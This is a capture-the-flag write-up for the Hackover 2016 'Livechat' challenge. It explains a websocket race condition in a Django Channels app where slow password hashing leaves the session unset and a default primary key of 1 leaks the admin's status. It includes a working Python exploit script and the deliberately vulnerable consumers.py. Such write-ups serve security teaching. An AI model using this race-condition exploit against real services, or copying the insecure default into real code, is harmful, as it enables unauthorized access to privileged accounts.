Hackover 2016: Livechat

Livechat was a challenge at the Hackover 2016. It uses websockets for the communication between client and server.

On the initial websocket connection, the server hashes the secret provided by the user using 100,000 pbkdf2 rounds which takes a while -- long enough to be able to send another message before the hash has been calculated completely and the remaining connection code has been executed. The crucial point in this challenge lies in multiple workers serving simultaneously. This way, another message can be processed while the registration code is still running.

The participant id is saved in the channel session at the end of the connection code; thus, the participant session key is unset while the hash is being calculated.

Furthermore, the _get_participant function sets i to 1 as default value and searches for the user with the primary key 1 (which occasionally is the admin user ...). There is not really a reasonable explanation for setting i to 1 when there is no primary key in the session, but doing so enables as to get admin's status.

When the hash is calculated, an unique id is generated and sent over the websocket. Using that unique id, the server can send more messages to this connection. Normally, this unique id would not be necessary as each message has a reply_channel which can be used to send a reply on a websocket over which a message was received. As this unique id needs to be provided when requesting the current status to be sent on the websocket, the status can not be requested before this unique id is sent -- which happens after the hash has been calculated completely. As none of the actions executed after the unique id generation take very long (as for example the hash did), the participant id will be set before we are able to send another message. Therefore it is not possible to get the status of the admin user using a single websocket.

However the unique id enables one to request a status to be sent to an already completely connected websocket from any other websocket. So we can open another websocket and immediately send a message requesting the status to the previously opened websocket by its unique id. As this second websocket is still calculating the hash, the user id is not yet set. That way, the _get_participant function returns the admin user whose status will be sent to the first websocket connection as the second worker serving this first message does not check whether the other worker serving the connection request has set any session vars yet.

Appendix

An example exploit:

#!/usr/bin/env python3
import json
import random

from websocket import create_connection


host = 'ws://127.0.0.1:8000'


name = random.randint(0, 100000000)
secret = 'foobar'

ws1 = create_connection('{}/websocket/{}/{}'.format(host, name, secret))
ws1.recv()
unique_id = json.loads(ws1.recv())['uniqueId']


ws2 = create_connection('{}/websocket/{}/{}'.format(host, name, secret))
ws2.send(json.dumps({
    'method': 'fetchStatus',
    'uniqueId': unique_id,
}))

while True:
    result = ws1.recv()
    if 'hackover' in result:
        print('presenting your flag: {}'.format(json.loads(result)['status']))
        break

The consumers.py has the following source:

import json

import random

import re
from channels import Group
from channels.sessions import channel_session
from django.core.exceptions import ObjectDoesNotExist
from django.utils import timezone
from django.utils.html import escape
from livechat.models import Participant
from passlib.handlers.pbkdf2 import pbkdf2_sha256


@channel_session
def ws_connect(message):
    path_regex = re.compile(r'websocket/(?P<name>[^/]*)/(?P<secret>.*)$')
    match = path_regex.search(message.content['path'])
    if match is None:
        raise ValueError('invalid request')
    name = match.group('name')
    secret = match.group('secret')
    participant, created = Participant.objects.get_or_create(name=name)
    if created:
        secret = pbkdf2_sha256.encrypt(secret, rounds=100000, salt_size=32)
        participant.secret = secret
        participant.save()
    else:
        if not pbkdf2_sha256.verify(secret, participant.secret):
            _send_message(message.reply_channel, {
                'method': 'invalidSecret'
            })
            message.channel_session['participant'] = -1
            return

    _send_message(Group('broadcast'), {
        'method': 'newParticipant',
        'participant': escape(participant.name),
    })

    # send all participants to reply channel
    participants = [escape(p.name) for p in Participant.objects.all()]
    _send_message(message.reply_channel, {
        'method': 'initLiveChat',
        'participants': participants,
    })

    Group('participant-{}'.format(participant.pk)).add(message.reply_channel)
    Group('broadcast').add(message.reply_channel)

    # to be able to send a message to this unique connection
    now = timezone.now()
    unique_id = random.randint(100000, 999999) + now.timestamp() + now.microsecond
    Group('unique-{}'.format(unique_id)).add(message.reply_channel)
    _send_message(message.reply_channel, {
        'method': 'uniqueId',
        'uniqueId': unique_id,
    })

    message.channel_session['participant'] = participant.pk


@channel_session
def ws_receive(message):
    request_message = json.loads(message.content['text'])
    participant = _get_participant(message)

    # ensure that message does not contain a flag
    pattern = re.compile(r'hackover{[^}]+}')
    if pattern.match(str(request_message)):
        return

    if request_message['method'] == 'sendMessage':
        _send_message(Group('broadcast'), {
            'method': 'newMessage',
            'sender': escape(participant.name),
            'message': escape(request_message['message']),
        })
    elif request_message['method'] == 'fetchStatus':
        _send_message(Group('unique-{}'.format(request_message['uniqueId'])), {
            'method': 'status',
            'status': escape(participant.status),
        })
    elif request_message['method'] == 'updateStatus':
        if participant.status_changeable:
            participant.status = request_message['status']
            participant.save()
        _send_message(Group('participant-{}'.format(participant.pk)), {
            'method': 'status',
            'status': escape(participant.status),
        })


@channel_session
def ws_disconnect(message):
    pass


def _get_participant(message):
    i = 1
    if 'participant' in message.channel_session:
        i = message.channel_session['participant']
    try:
        participant = Participant.objects.get(pk=i)
    except ObjectDoesNotExist:
        return None
    return participant


def _send_message(receiver, message):
    receiver.send({'text': json.dumps(message)})